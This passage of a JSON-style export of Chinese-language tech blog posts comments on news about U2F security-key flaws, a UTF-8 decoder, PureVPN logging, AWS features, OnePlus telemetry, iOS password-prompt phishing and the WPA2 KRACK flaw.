    "body": "<a href=\"https://www.imperialviolet.org/\">Adam Langley</a> 的「<a href=\"https://www.imperialviolet.org/2017/10/08/securitykeytest.html\">Testing Security Keys</a>」這篇測試了不少有支援 <a href=\"https://en.wikipedia.org/wiki/Universal_2nd_Factor\">U2F</a> Security Key 的產品，這邊作者是以 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 環境測試。\r\n\r\ntl;dr：在 Linux 環境下，除了 <a href=\"https://www.yubico.com/\">Yubico</a> 的產品沒問題外，其他的都有問題... (只是差在問題多與少而已)\r\n\r\nYubico 的沒找到問題：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/L5fVpT3.webp\" /><img src=\"https://i.gslin.com/imgur/L5fVpT3.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>Easy one first: I can find no flaws in Yubico's U2F Security Key.</blockquote>\r\n\r\n<a href=\"https://www.vasco.com/products/two-factor-authenticators/hardware/one-button/digipass-secureclick.html\">VASCO SecureClick</a> 的則是 vendor ID 與 product ID 會跑掉：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/sC9FDBw.webp\" /><img src=\"https://i.gslin.com/imgur/sC9FDBw.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>If you're using Linux and you configure udev to grant access to the vendor ID &amp; product ID of the token as it appears normally, nothing will work because the vendor ID and product ID are different when it's active. The Chrome extension will get very confused about this.</blockquote>\r\n\r\n<a href=\"https://www.ftsafe.com/onlinestore/product?id=21\">Feitian ePass</a> 的 ASN.1 DER 編碼是錯的：\r\n\r\n<img src=\"https://i.gslin.com/imgur/QIYG9pd.jpg\" alt=\"\" />\r\n\r\n<blockquote>ASN.1 DER is designed to be a “distinguished” encoding, i.e. there should be a unique serialisation for a given value and all other representations are invalid. As such, numbers are supposed to be encoded minimally, with no leading zeros (unless necessary to make a number positive). Feitian doesn't get that right with this security key: numbers that start with 9 leading zero bits have an invalid zero byte at the beginning. Presumably, numbers starting with 17 zero bits have two invalid zero bytes at the beginning and so on, but I wasn't able to press the button enough times to get such an example. Thus something like one in 256 signatures produced by this security key are invalid.</blockquote>\r\n\r\n<a href=\"https://thetis.io/\">Thetis</a> 根本沒照 spec 走，然後也有相同的 ASN.1 DER 編碼問題：\r\n\r\n<img src=\"https://i.gslin.com/imgur/YQEO29ym.jpg\" alt=\"\" />\r\n\r\n<blockquote>With this device, I can't test things like key handle mutability and whether the appID is being checked because of some odd behaviour. The response to the first Check is invalid, according to the spec: it returns status 0x9000 (“NO_ERROR”), when it should be 0x6985 or 0x6a80. After that, it starts rejecting all key handles (even valid ones) with 0x6a80 until it's unplugged and reinserted.</blockquote>\r\n\r\n<blockquote>This device has the same non-minimal signature encoding issue as the Feitian ePass. Also, if you click too fast, this security key gets upset and rejects a few requests with status 0x6ffe.</blockquote>\r\n\r\n<a href=\"https://www.u2fzero.com/\">U2F Zero</a> 直接 crash 沒辦法測 XDDD：\r\n\r\n<img src=\"https://i.gslin.com/imgur/N8Bovbd.jpg\" alt=\"\" />\r\n\r\n<blockquote>A 1KiB ping message crashes this device (i.e. it stops responding to USB messages and needs to be unplugged and reinserted). Testing a corrupted key handle also crashes it and thus I wasn't able to run many tests.</blockquote>\r\n\r\n<a href=\"http://www.key-id.com/\">KEY-ID</a> (網站連 HTTPS 都沒上...) / <a href=\"https://www.hypersecu.com/products/hyperfido\">HyperFIDO</a> 也有編碼問題但更嚴重：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/7GiNMnD.webp\" /><img src=\"https://i.gslin.com/imgur/7GiNMnD.jpg\" alt=\"\" /></picture>\r\n\r\n<img src=\"https://i.gslin.com/imgur/NJ69meM.jpg\" alt=\"\" />\r\n\r\n<blockquote>The Key-ID (and HyperFIDO devices, which have the same firmware, I think) have the same non-minimal encoding issue as the Feitian ePass, but also have a second ASN.1 flaw. In ASN.1 DER, if the most-significant bit of a number is set, that number is negative. If it's not supposed to be negative, then a zero pad byte is needed. I think what happened here is that, when testing the most-significant bit, the security key checks whether the first byte is > 0x80, but it should be checking whether it's >= 0x80. The upshot is the sometimes it produces signatures that contain negative numbers and are thus invalid.</blockquote>\r\n\r\n所以還是乖乖用 <a href=\"https://github.com/\">GitHub</a> 帳號買 Yubico 吧...",
    "title": "U2F Security Key 產品測試？"
  },
  {
    "id": "7627",
    "body": "看到「<a href=\"http://nullprogram.com/blog/2017/10/06/\">A Branchless UTF-8 Decoder</a>」這篇，先來回憶一下「<a href=\"https://blog.gslin.org/archives/2013/10/01/3670/%E9%9D%9E%E5%B8%B8%E7%B6%93%E5%85%B8%E7%9A%84-utf-8/\">非常經典的 UTF-8...</a>」這篇，以及裡面提到的 encoding：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/UodeqJG.webp\" /><img src=\"https://i.gslin.com/imgur/UodeqJG.jpg\" alt=\"\" /></picture>\r\n\r\n因為當初在設計 UTF-8 時就有考慮到，所以 decoding 很容易用 <a href=\"https://en.wikipedia.org/wiki/Deterministic_finite_automaton\">DFA</a> 解決，也就是寫成一堆 if-then-else 的條件。但現代 CPU 因為 out-of-order execution 以及 pipeline 的設計，遇到 random branch 會有很高的效能損失，所以作者就想要試著寫看看 branchless 的版本。\r\n\r\n成效其實還好，尤其是 <a href=\"https://clang.llvm.org/\">Clang</a> 上說不定在誤差內：\r\n\r\n<blockquote>With GCC 6.3.0 on an i7-6700, my decoder is about 20% faster than the DFA decoder in the benchmark. With Clang 3.8.1 it’s just 1% faster.</blockquote>\r\n\r\n而後來的更新則是大幅改善，在 Clang 上 DFA 版本比 branchless 的快：\r\n\r\n<blockquote>Update: <a href=\"https://github.com/skeeto/branchless-utf8/issues/1\">Björn pointed out</a> that his site includes a faster variant of his DFA decoder. It is only 10% slower than the branchless decoder with GCC, and it’s 20% faster than the branchless decoder with Clang. So, in a sense, it’s still faster on average, even on a benchmark that favors a branchless decoder.</blockquote>\r\n\r\n所以作者最後也有說這是個嘗試而已 XD：\r\n\r\n<blockquote>It’s just a different approach. In practice I’d prefer Björn’s DFA decoder.</blockquote>",
    "title": "Branchless UTF-8 解碼器"
  },
  {
    "id": "7628",
    "body": "這應該是這幾天鬧得蠻大的事情：「<a href=\"https://torrentfreak.com/purevpn-logs-helped-fbi-net-alleged-cyberstalker-171009/\">PureVPN Logs Helped FBI Net Alleged Cyberstalker</a>」。\r\n\r\n起因在於 <a href=\"https://www.purevpn.com/\">PureVPN</a> 的廣告寫著他們不會記錄：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/rEHICN5.webp\" /><img src=\"https://i.gslin.com/imgur/rEHICN5.jpg\" alt=\"\" /></picture>\r\n\r\n但在證詞裡卻提到 PureVPN 有記錄：\r\n\r\n<blockquote>“Significantly, PureVPN was able to determine that their service was accessed by the same customer from two originating IP addresses: the RCN IP address from the home Lin was living in at the time, and the software company where Lin was employed at the time,” the agent’s affidavit reads.</blockquote>\r\n\r\n然後回頭看 PureVPN 的 Privacy 條款發現他們在條款裡面寫著他們會記錄連線資訊：\r\n\r\n<blockquote>Our servers automatically record the time at which you connect to any of our servers. From here on forward, we do not keep any records of anything that could associate any specific activity to a specific user. The time when a successful connection is made with our servers is counted as a ‘connection’ and the total bandwidth used during this connection is called ‘bandwidth’. Connection and bandwidth are kept in record to maintain the quality of our service. This helps us understand the flow of traffic to specific servers so we could optimize them better.</blockquote>\r\n\r\n然後被告 Ryan S. Lin 就幹剿了：\r\n\r\n<blockquote>“There is no such thing as a VPN that doesn’t keep logs,” Lin said. “If they can limit your connections or track bandwidth usage, they keep logs.”</blockquote>\r\n\r\n以後挑 VPN 還得仔細看條款裡面留 log 的部份啊...",
    "title": "VPN 保留連線記錄幫助 FBI 抓犯人"
  },
  {
    "id": "7629",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"https://aws.amazon.com/elasticloadbalancing/\">ALB</a> 支援 <a href=\"https://en.wikipedia.org/wiki/Server_Name_Indication\">SNI</a> 了：「<a href=\"https://aws.amazon.com/blogs/aws/new-application-load-balancer-sni/\">Application Load Balancers Now Support Multiple TLS Certificates With Smart Selection Using SNI</a>」。\r\n\r\n不過這篇比較有趣的是，他範例用的是 <a href=\"https://vimisbetterthanemacs.com/\">VimIsBetterThanEmacs.com</a> 與 <a href=\"https://vimisthebest.com/\">VimIsTheBest.com</a> 這兩個網域名稱 XDDD：\r\n\r\n<blockquote>I’ll use a few example websites like <a href=\"https://vimisbetterthanemacs.com\">VimIsBetterThanEmacs.com</a> and <a href=\"https://vimisthebest.com/\">VimIsTheBest.com</a>. I’ve purchased and hosted these domains on <a href=\"https://aws.amazon.com/route53/\">Amazon Route 53</a>, and provisioned two separate certificates for them in <a href=\"https://aws.amazon.com/certificate-manager/\">AWS Certificate Manager (ACM)</a>. If I want to securely serve both of these sites through a single ALB, I can quickly add both certificates in the console.</blockquote>\r\n\r\n<img src=\"https://i.gslin.com/imgur/H8s1nAL.gif\" alt=\"\" />",
    "title": "ALB 支援 SNI"
  },
  {
    "id": "7630",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的人花了些時間整理 <a href=\"https://dev.mysql.com/\">MySQL</a> 5.7 與 <a href=\"https://mariadb.org/\">MariaDB</a> 10.2 在預設值上的差異：「<a href=\"https://www.percona.com/blog/2017/10/09/mysql-and-mariadb-default-configuration-differences/\">MySQL and MariaDB Default Configuration Differences</a>」。\r\n\r\n整體可以感覺到 MariaDB 10.2 相較於 MySQL 5.7 還是頗偏 MyISAM 的設計，可能跟 Monty (<a href=\"https://en.wikipedia.org/wiki/Michael_Widenius\">Michael Widenius</a>) 的偏好有關吧... 不過技術面上來說，MariaDB 10.2 是基於 5.5 分支出來一路改出來的，當時的 InnoDB 跟現在的版本比起來的確沒那麼強...\r\n\r\n不過這畢竟只是預設值，看過留個印象就好...",
    "title": "Percona 比較 MySQL 與 MariaDB 預設值的差異"
  },
  {
    "id": "7631",
    "body": "<a href=\"https://x.company/loon/\">Project Loon</a> 是 <a href=\"https://abc.xyz/\">Alphabet</a> (<a href=\"https://www.google.com/\">Google</a> 的母公司) 透過熱氣球建立網路的計畫。\r\n\r\n這次波多黎各災後已經好幾個禮拜了，但還是有大量的基地台還是不通。於是 Project Loon 從 <a href=\"https://www.fcc.gov/\">FCC</a> 得到實驗性的執照，建立行動網路：「<a href=\"https://arstechnica.com/information-technology/2017/10/alphabets-internet-balloons-will-try-to-restore-cell-service-in-puerto-rico/\">Alphabet’s Internet balloons will try to restore cell service in Puerto Rico</a>」。\r\n\r\n<blockquote>Nearly 82 percent of cell sites in Puerto Rico and 57 percent in the US Virgin Islands are out of service, the FCC said in its daily damage report yesterday. In nearly all counties in Puerto Rico, more than 75 percent of cell sites are not working, and \"22 out of the 78 counties in Puerto Rico have 100 percent of their cell sites out of service.\" Large percentages of residents are also without cable or wireline service.</blockquote>\r\n\r\n在 FCC 的公告裡提到授權了 900Mhz 頻段：「<a href=\"https://apps.fcc.gov/edocs_public/attachmatch/DOC-347125A1.pdf\">FCC GRANTS EXPERIMENTAL LICENSE FOR PROJECT LOON TO OPERATE IN PUERTO RICO</a>」(PDF 檔但是標題是「Microsoft Word」...)。\r\n\r\n<blockquote>Project Loon obtained consent agreements to use land mobile radio (LMR) radio spectrum in the 900 MHz band from existing carriers operating within Puerto Rico.</blockquote>\r\n\r\n不過由於要讓使用者可以使用現有的 SIM 卡連上網，需要當地電信業者的合作，Google 目前還沒完全確認：\r\n\r\n<blockquote>Alphabet hasn't announced a schedule for providing service in Puerto Rico, and the company says it is still determining whether it will be able to help.</blockquote>\r\n\r\n<blockquote>Project Loon must be integrated with the network of a cellular company in order to provide service, and Alphabet is “making solid progress on this next step,\" the spokesperson said. Project Loon is part of Alphabet's X division, formerly known as \"Google X.\"</blockquote>\r\n\r\n是一戰成名的機會...",
    "title": "Alphabet (Google) 的 Project Loon 拿到授權，支援波多黎各的救災計畫"
  },
  {
    "id": "7632",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈 <a href=\"https://aws.amazon.com/rds/\">RDS</a> 的 RI 也支援彈性計價了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/10/amazon-rds-reserved-instances-offer-instance-size-flexibility/\">Amazon RDS Reserved Instances Offer Instance Size Flexibility</a>」。\r\n\r\n也就是說跟 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 的 RI 方式切齊，買 <code>db.m4.2xlarge</code> 的 RI 後，可以用在兩台 <code>db.m4.xlarge</code> 上：\r\n\r\n<blockquote>For example, let’s say you purchased a db.m4.2xlarge MySQL RI in US East (N. Virginia). The discounted rate of this RI can automatically apply to 2 db.m4.xlarge MySQL instances without you needing to do anything.</blockquote>\r\n\r\n包括了相當多種類的 RDS，主要是沒有 license fee 的類型都包括在內了：\r\n\r\n<blockquote>Amazon RDS Reserved Instance size flexibility is offered in all regions for the MySQL, MariaDB, PostgreSQL, and Amazon Aurora database engines, as well as the “bring your own license” (BYOL) edition of the Oracle database engine. To learn more about flexible RIs, please visit the Amazon RDS Reserved Instances Page.</blockquote>\r\n\r\n但不包括要另外收 license fee 的 SQL Server 與 Oracle LI edition：\r\n\r\n<blockquote>Size flexibility does not apply to Microsoft SQL Server and the License Included (LI) edition of Oracle.</blockquote>",
    "title": "Amazon RDS 的 RI 也支援彈性計價了"
  },
  {
    "id": "7633",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 也參與了 <a href=\"https://starcraft.com/\">StarCraft</a> 的 AI 測試，不過成績不太好：「<a href=\"https://www.wired.com/story/facebook-quietly-enters-starcraft-war-for-ai-bots-and-loses/\">Facebook Quietly Enters StarCraft War for AI Bots, and Loses</a>」。\r\n\r\n不過跟 <a href=\"https://deepmind.com/\">DeepMind</a> 投入的項目不太一樣，Facebook 投入的是 StarCraft，DeepMind 投入的是 StarCraft II...\r\n\r\n比賽有二十八組，Facebook 拿下第六名，但前三名都只是獨立愛好者：\r\n\r\n<blockquote>Final results released Sunday indicate Facebook still has a way to go: CherryPi finished sixth in a field of 28; the top three bots were all made by lone, hobbyist coders.</blockquote>\r\n\r\n不太像認真要玩...",
    "title": "Facebook 也參戰參與 StarCraft 的 AI 測試，只是成績不太好..."
  },
  {
    "id": "7634",
    "body": "這次 <a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 擴了三個點：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/10/cloudfront-launching-third-location-in-stockholm-a-fifth-in-london-and-fourth-in-dallas/\">Amazon CloudFront continues to add capacity to the Nordics, Western Europe, and Western United States with new locations in Stockholm, London, and Dallas!</a>」。\r\n\r\n這樣變成 98 個，快 100 了：\r\n\r\n<blockquote>Amazon CloudFront now has 98 Edge locations (87 Points of Presence and 11 Regional Edge Caches) in 50 cities across 23 countries.</blockquote>\r\n\r\n等到 100 的時候應該會熱烈慶祝？",
    "title": "CloudFront 一直擴點..."
  },
  {
    "id": "7635",
    "body": "在「<a href=\"https://krausefx.com/blog/ios-privacy-stealpassword-easily-get-the-users-apple-id-password-just-by-asking\">iOS Privacy: steal.password - Easily get the user's Apple ID password, just by asking</a>」這邊作者示範了怎麼釣魚：直接模擬 <a href=\"https://www.apple.com/ios/\">iOS</a> 的系統視窗跟使用者要密碼。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/jiKmH2f.webp\" /><img src=\"https://i.gslin.com/imgur/jiKmH2f.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/EVCUi2P.webp\" /><img src=\"https://i.gslin.com/imgur/EVCUi2P.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ie2juD6.webp\" /><img src=\"https://i.gslin.com/imgur/ie2juD6.jpg\" alt=\"\" /></picture>\r\n\r\n看了只有「操」... 目前想的到的 workaround 只有在看到類似的視窗時跳回主畫面，透過 Settings 裡確認？",
    "title": "iOS App 的釣魚"
  },
  {
    "id": "7637",
    "body": "看到「<a href=\"https://www.chrisdcmoore.co.uk/post/oneplus-analytics/\">OnePlus OxygenOS built-in analytics</a>」這篇，講作者在聽連線時看到 <a href=\"https://oneplus.net/\">OnePlus</a> OxygenOS 內建的 Malware：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/X6tw8Vg.webp\" /><img src=\"https://i.gslin.com/imgur/X6tw8Vg.jpg\" alt=\"\" /></picture>\r\n\r\n從<a href=\"https://zh.wikipedia.org/\">維基百科</a>上的說明好像不怎麼意外啊：\r\n\r\n<blockquote>一加（全稱：深圳市萬普拉斯科技有限公司，英語：OnePlus）是中國一家行動通訊終端裝置研製與軟體開發的企業，於2013年12月7日成立，主要開拓國外市場。</blockquote>\r\n\r\n作者一開始看到各種行為，像是 <code>screen_off</code>、<code>screen_on</code>、<code>unlock</code>、<code>abnormal_reboot</code>：\r\n\r\n<pre>{\r\n    \"ty\": 3,\r\n    \"dl\": [\r\n        {\r\n            \"id\": \"258cfeb1\",\r\n            \"en\": \"screen_off\",\r\n            \"ts\": 1484177517017,\r\n            \"oed\": [],\r\n            \"it\": 0,\r\n            \"rv\": \"OnePlus2Oxygen_14.A.27_GLO_027_1612271635\"\r\n        }, {\r\n            \"id\": \"258cfeb1\",\r\n            \"en\": \"screen_on\",\r\n            \"ts\": 1484177826984,\r\n            \"oed\": [],\r\n            \"it\": 0,\r\n            \"rv\": \"OnePlus2Oxygen_14.A.27_GLO_027_1612271635\"\r\n        }, {\r\n            \"id\": \"258cfeb1\",\r\n            \"en\": \"unlock\",\r\n            \"ts\": 1484177827961,\r\n            \"oed\": [],\r\n            \"it\": 0,\r\n            \"rv\": \"OnePlus2Oxygen_14.A.27_GLO_027_1612271635\"\r\n        }, {\r\n            \"id\": \"258cfeb1\",\r\n            \"en\": \"abnormal_reboot\",\r\n            \"ts\": 1484178427035,\r\n            \"oed\": [],\r\n            \"it\": 0,\r\n            \"rv\": \"OnePlus2Oxygen_14.A.27_GLO_027_1612271635\"\r\n        }, ...\r\n    ]\r\n}</pre>\r\n\r\n然後是各種機器資訊，包括 MAC address、IMEI 之類的：\r\n\r\n<pre>{\r\n    \"ty\": 1,\r\n    \"dl\": [\r\n        {\r\n            \"ac\": \"\",\r\n            \"av\": \"6.0.1\",\r\n            \"bl\": 82,\r\n            \"br\": \"OnePlus\",\r\n            \"bs\": \"CHARGING\",\r\n            \"co\": \"GB\",\r\n            \"ga\": 11511,\r\n            \"gc\": 234,\r\n            \"ge\": 6759424,\r\n            \"gn\": 30,\r\n            \"iac\": 1,\r\n            \"id\": \"258cfeb1\",\r\n            \"im\": \"123456789012345,987654321098765\",\r\n            \"imei1\": \"123456789012345\",\r\n            \"it\": 0,\r\n            \"la\": \"en\",\r\n            \"log\": \"\",\r\n            \"ma\": \"aa:bb:cc:dd:ee:ff\",\r\n            \"mdmv\": \"1.06.160427\",\r\n            \"mn\": \"ONE A2003\",\r\n            \"nci\": \"23430,\",\r\n            \"ncn\": \",\",\r\n            \"noi\": \"23430,\",\r\n            \"non\": \"EE,\",\r\n            \"not\": \"LTE,\",\r\n            \"npc\": \"gb,\",\r\n            \"npn\": \"07123456789,07987654321\",\r\n            \"nwa\": \"aa:bb:cc:dd:ee:ff\",\r\n            \"nwb\": \"ff:ee:dd:cc:bb:aa\",\r\n            \"nwh\": false,\r\n            \"nwl\": 0,\r\n            \"nws\": \"\"CHRISDCMOORE\"\",\r\n            \"ov\": \"Oxygen ONE A2003_24_161227\",\r\n            \"pcba\": \"\",\r\n            \"rh\": 1920,\r\n            \"ro\": false,\r\n            \"romv\": \"3.5.6\",\r\n            \"rw\": 1080,\r\n            \"sov\": \"A.27\",\r\n            \"ts\": 1484487017633,\r\n            \"tz\": \"GMT+0000\"\r\n        }\r\n    ]\r\n}</pre>\r\n\r\n然後是開了什麼 app XDDD\r\n\r\n<pre>{\r\n    \"ty\": 4,\r\n    \"dl\": [{\r\n            \"id\": \"258cfeb1\",\r\n            \"pn\": \"com.Slack20003701\",\r\n            \"pvc\": \"20003701\",\r\n            \"tk\": [\r\n                [1484079940460, 1484079952177],\r\n                [1484081525486, 1484081603191],\r\n                [1484081603424, 1484081619211],\r\n                ...\r\n            ],\r\n            \"it\": 0\r\n        }, {\r\n            \"id\": \"258cfeb1\",\r\n            \"pn\": \"com.microsoft.office.outlook170\",\r\n            \"pvc\": \"170\",\r\n            \"tk\": [\r\n                [1484084321735, 1484084333336],\r\n                [1484084682578, 1484084683668],\r\n                [1484084685843, 1484084688985],\r\n                ...\r\n            ],\r\n            \"it\": 0\r\n        }, ...\r\n    ]\r\n}</pre>\r\n\r\n以及在 app 裡面做了什麼 XDDD (像是 <code>ChromeTabbedActivity</code> <code>start</code>、<code>RecentsActivity</code> <code>stop</code>、<code>WifiSettingsActivity</code> <code>start</code>、<code>Settings</code> <code>start</code>)\r\n\r\n<pre>{\r\n    \"ty\": 2,\r\n    \"dl\": [{\r\n            \"id\": \"258cfeb1\",\r\n            \"pi\": 12795,\r\n            \"si\": \"127951484342058637\",\r\n            \"ts\": 1484342058637,\r\n            \"pn\": \"com.android.chrome\",\r\n            \"pvn\": \"55.0.2883.91\",\r\n            \"pvc\": 288309101,\r\n            \"cn\": \"ChromeTabbedActivity\",\r\n            \"en\": \"start\",\r\n            \"aed\": [],\r\n            \"sa\": true,\r\n            \"it\": 0,\r\n            \"rv\": \"OnePlus2Oxygen_14.A.27_GLO_027_1612271635\"\r\n        }, ... {\r\n            \"id\": \"258cfeb1\",\r\n            \"pi\": 4143,\r\n            \"si\": \"41431484342115589\",\r\n            \"ts\": 1484342115589,\r\n            \"pn\": \"com.android.systemui\",\r\n            \"pvn\": \"1.1.0\",\r\n            \"pvc\": 0,\r\n            \"cn\": \"RecentsActivity\",\r\n            \"en\": \"stop\",\r\n            \"aed\": [],\r\n            \"sa\": true,\r\n            \"it\": 0,\r\n            \"rv\": \"OnePlus2Oxygen_14.A.27_GLO_027_1612271635\"\r\n        }, {\r\n            \"id\": \"258cfeb1\",\r\n            \"pi\": 26449,\r\n            \"si\": \"264491484342115620\",\r\n            \"ts\": 1484342115620,\r\n            \"pn\": \"com.android.settings\",\r\n            \"pvn\": \"6.0.1\",\r\n            \"pvc\": 23,\r\n            \"cn\": \"WifiSettingsActivity\",\r\n            \"en\": \"start\",\r\n            \"aed\": [],\r\n            \"sa\": true,\r\n            \"it\": 0,\r\n            \"rv\": \"OnePlus2Oxygen_14.A.27_GLO_027_1612271635\"\r\n        }, ... {\r\n            \"id\": \"258cfeb1\",\r\n            \"pi\": 2608,\r\n            \"si\": \"26081484346421908\",\r\n            \"ts\": 1484346421908,\r\n            \"pn\": \"com.android.settings\",\r\n            \"pvn\": \"6.0.1\",\r\n            \"pvc\": 23,\r\n            \"cn\": \"Settings\",\r\n            \"en\": \"start\",\r\n            \"aed\": [],\r\n            \"sa\": true,\r\n            \"it\": 0,\r\n            \"rv\": \"OnePlus2Oxygen_14.A.27_GLO_027_1612271635\"\r\n        }, ...\r\n    ]\r\n}</pre>\r\n\r\n有人提供了移除的方法：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\"><a href=\"https://twitter.com/chrisdcmoore?ref_src=twsrc%5Etfw\">@chrisdcmoore</a> I&#39;ve read your article about OnePlus Analytics. Actually, you can disable it permanently: pm uninstall -k --user 0 pkg</p>&mdash; Jakub Czekański (@JaCzekanski) <a href=\"https://twitter.com/JaCzekanski/status/917691128807395328?ref_src=twsrc%5Etfw\">October 10, 2017</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n但你可以不要買這個牌子啊 XDDD",
    "title": "OnePlus OxygenOS 內建的 Malware"
  },
  {
    "id": "7638",
    "body": "翻資料的時候才發現 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 從 59 版 (今年六月進 stable channel) 就支援 <a href=\"https://en.wikipedia.org/wiki/APNG\">APNG</a> 了，這樣所有主流瀏覽器只剩下微軟家的 IE 與 Edge 還沒支援了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/RPsQF4G.webp\" /><img src=\"https://i.gslin.com/imgur/RPsQF4G.jpg\" alt=\"\" /></picture>\r\n\r\n找了一下當時的新聞：「<a href=\"https://9to5google.com/2017/04/27/chrome-59-animated-png/\">Chrome 59 will fully support animated PNGs</a>」，以及對應的 ticket：「<a href=\"https://bugs.chromium.org/p/chromium/issues/detail?id=1171\">Request for enhancement: APNG (animated PNG)</a>」。\r\n\r\nAPNG 相較於 <a href=\"https://en.wikipedia.org/wiki/GIF\">GIF</a> 多了透明的設計 (GIF 需要拿一個顏色來當作透明)，以及更多的色彩，但對於瀏覽器的支援一直都不完整：\r\n\r\n<blockquote>The GIF file format has better application and browser support than APNG, but it is limited to 256 colors per frame and supports only index transparency, by mapping one of the palette colors to transparent.</blockquote>\r\n\r\n現在這樣讓 GIF 退休的日子又前進了一大步...",
    "title": "Google Chrome 支援 APNG 了..."
  },
  {
    "id": "7639",
    "body": "<a href=\"https://www.schneier.com/\">Bruce Schneier</a> 提到了最近幾個剛好相關的議題，關於機器學習在情色產業使用時遇到的隱私議題：「<a href=\"https://www.schneier.com/blog/archives/2017/10/technology_to_o.html\">Technology to Out Sex Workers</a>」。\r\n\r\n第一個提到的是 <a href=\"https://www.pornhub.com/\">PornHub</a> 用機器學習辨識演員以及各種「其他資訊」，這邊引用的報導是 <a href=\"https://techcrunch.com/\">TechCrunch</a> 的「<a href=\"https://techcrunch.com/2017/10/11/pornhub-uses-computer-vision-to-id-actors-acts-in-its-videos/\">PornHub uses computer vision to ID actors, acts in its videos</a>」：\r\n\r\n<blockquote>PornHub <a href=\"https://techcrunch.com/2017/10/11/pornhub-uses-computer-vision-to-id-actors-acts-in-its-videos/\">is using machine learning algorithms</a> to identify actors in different videos, so as to better index them.</blockquote>\r\n\r\n<blockquote>The computer vision system can identify specific actors in scenes and even identifies various positions and… attributes.</blockquote>\r\n\r\n第二個提到的是花名與真實身份連在一起的問題：\r\n\r\n<blockquote>People <a href=\"https://motherboard.vice.com/en_us/article/a3kmpb/facial-recognition-for-porn-stars-is-a-privacy-nightmare-waiting-to-happen\">are worried</a> that it can really identify them, by linking their stage names to their real names.</blockquote>\r\n\r\n最後是提到 <a href=\"https://www.facebook.com/\">Facebook</a> 已經有能力這樣做，而且已經發生了：\r\n\r\n<blockquote>Facebook somehow managed to <a href=\"https://gizmodo.com/how-facebook-outs-sex-workers-1818861596\">link</a> a sex worker's clients under her fake name to her real profile.</blockquote>\r\n\r\n<blockquote>Her sex-work identity is not on the social network at all; for it, she uses a different email address, a different phone number, and a different name. Yet earlier this year, looking at Facebook’s “People You May Know” recommendations, Leila (a name I’m using using in place of either of the names she uses) was shocked to see some of her regular sex-work clients.</blockquote>\r\n\r\n這個議題與 <a href=\"https://en.wikipedia.org/wiki/Mass_surveillance\">Mass surveillance</a> 有點像...。",
    "title": "機器學習與情色產業的問題"
  },
  {
    "id": "7640",
    "body": "話說 <a href=\"https://en.wikipedia.org/wiki/Wi-Fi_Protected_Access\">WPA2</a> 也撐了十三年了：\r\n\r\n<blockquote>WPA2 became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.</blockquote>\r\n\r\n這次的漏洞可以參考「<a href=\"https://arstechnica.com/information-technology/2017/10/severe-flaw-in-wpa2-protocol-leaves-wi-fi-traffic-open-to-eavesdropping/\">Severe flaw in WPA2 protocol leaves Wi-Fi traffic open to eavesdropping</a>」這邊。\r\n\r\nPoC 稱作 KRACK (Key Reinstallation Attacks)，漏洞將會在十一月正式發表，從會議的標題名稱大概可以知道方向，是對 Nonce 下手：「Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2」。另外站台 <a href=\"https://www.krackattacks.com/\">www.krackattacks.com</a> 已經放好，等後續的發表更新了。\r\n\r\n對於無線網路的各種漏洞，老方法還是目前最有效的方法，也是這次的 workaround 之一：上強度足夠的 VPN。\r\n\r\n<strong>Update</strong>：補上論文「<a href=\"https://papers.mathyvanhoef.com/ccs2017.pdf\">Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2</a>」。",
    "title": "WPA2 安全漏洞"
  },
  {
    "id": "7641",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到「<a href=\"https://www.hinet.net/notifyPage.html?type=0&amp;id=15f22c219dd0000039b2\">HiNet DNS系統設備維護作業</a>」這則維護公告，裡面提到了會對 <a href=\"https://www.hinet.net/\">HiNet</a> DNS 系統維護，但範圍是雲林以南：\r\n\r\n<blockquote>起訖日期：2017-10-19\r\n時間： 14:00 ~ 16:00\r\n範圍：雲林(含)以南\r\n說明：親愛的HiNet客戶您好﹕ 為提昇網路服務品質，HiNet DNS系統將於106/10/19(星期四)下午2:00到4:00進行設備維護，期間DNS查詢服務將可能發生瞬斷情形，若影響上網服務造成您的不便，敬請見諒，並感謝您對HiNet的支持與愛護。 祝您 身體健康 萬事如意 中華電信數據通信分公司 敬上 客服專線：0800-080-412</blockquote>\r\n\r\n這樣聽起來中華有在自己內部網路跑 anycast service 了？而且這樣應該表示有機會在 DNS 層拆出不同區域的用戶？",
    "title": "中華的 DNS 架構"
  },
  {
    "id": "7642",
